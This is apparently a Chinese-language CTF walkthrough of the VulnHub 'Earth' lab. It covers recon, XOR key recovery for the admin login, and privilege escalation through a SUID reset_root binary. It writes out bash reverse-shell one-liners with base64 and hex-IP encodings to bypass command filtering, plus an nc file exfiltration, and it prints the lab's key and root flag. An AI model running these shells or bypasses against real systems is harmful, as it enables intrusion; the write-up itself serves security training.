靶场名称:THE PLANETS: EARTH
难度:简单
下载链接:https://download.vulnhub.com/theplanets/Earth.ova
目的:获得两个flag(user和root)
环境搭建
配置网卡,然后启动就行了
信息收集+寻找机会
使用arp-scan -l 探测主机,发现靶场ip 192.168.0.4
发现主机,使用nmap扫描端口
这里访问ip,发现返回400,然后发现443端口解析DNS:earth.local 和terratest.earth.local
这里我用火绒安全工具修改了一下host文件,增加了一下解析
现在访问443端口,成功访问
扫描目录发现存在一个后台和一个robots.txt文件
robots文件里面有一个目录访问
***使用 XOR 加密作为算法,在 RSA 中使用应该是安全的。 **
*地球已确认他们已收到我们发送的消息。
** *testdata.txt 用于测试加密。 **
*terra 用作管理门户的用户名。
XOR算法
当一个数A和另一个数B进行异或运算会生成另一个数C,如果再将C和B进行异或运算则C又会还原为A。
相对于其他的简易加密算法,XOR算法的优点如下。
(1)算法简单,对于高级语言很容易能实现。
(2)速度快,可以在任何时候、任何地方使用。
(3)对任何字符都是有效的,不像有些简易加密算法,只对西文字符有效,对中文加密后再解密无法还原为原来的字符。
这里有了测试加密的内容
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.
下面这里应该就是加密后的内容
A xor B xor C 这里有了A和C 可以通过XOR获得B
这里我随便设置了一个key加密了试了一下,最后一个长度一样长,哈哈哈,应该就是这个了
这里参考了这个文章的解码:
对密文进行解码,这里也可以写个脚本进行异或,得出key:earthclimatechangebad4humans
用key作为密码进入后台
这里可以执行系统命令,直接反弹shell
反弹shell编码绕过
这里进行编码绕过,先进行base64绕过,长度超了
这里对命令进行缩减并进行base64加密
echo "bash -i &>/dev/tcp/192.168.0.5/8080 <&1" | base64
YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMC41LzgwODAgPCYxCg==
echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMC41LzgwODAgPCYxCg== | base64 -d | bash
也可以通过对IP进行16或10进制绕过
bash -c 'exec bash -i &>/dev/tcp/0xc0.0xa8.0.5/8080 <&1'
ip进行16进制绕过这里参考
这里可以通过这个命令快速找到flag
find . name "flag"
reset_root提权
命令查看suid权限
find / -perm -u=s -type f 2>/dev/null
发现pkexec,尝试提权(失败)
又发现reset_root,尝试提权
参考以下
在靶机上运行reset_root,提示报错
reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
这里将reset_root下载到本地进行调试
kali监听端口,靶机进行下载命令
kali:
nc -lnvp 9999 > reset_root
靶机:
nc -w 3 192.168.0.5 9999 < /usr/bin/reset_root
strace 调试
yum install -y strace
chmod +x reset_root
strace ./reset_root
提示缺少下面三个文件
access("/dev/shm/kHgTFI5G", F_OK) = -1 ENOENT (没有那个文件或目录)
access("/dev/shm/Zw7bV9U5", F_OK) = -1 ENOENT (没有那个文件或目录)
access("/tmp/kcM0Wewe", F_OK) = -1 ENOENT (没有那个文件或目录)
touch创建缺少的文件
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
/tmp/kcM0Wewe
再次执行reset_root 提权成功
拿到root_flag
root_flag_b0da9554d29db2117b02aa8b66ec492e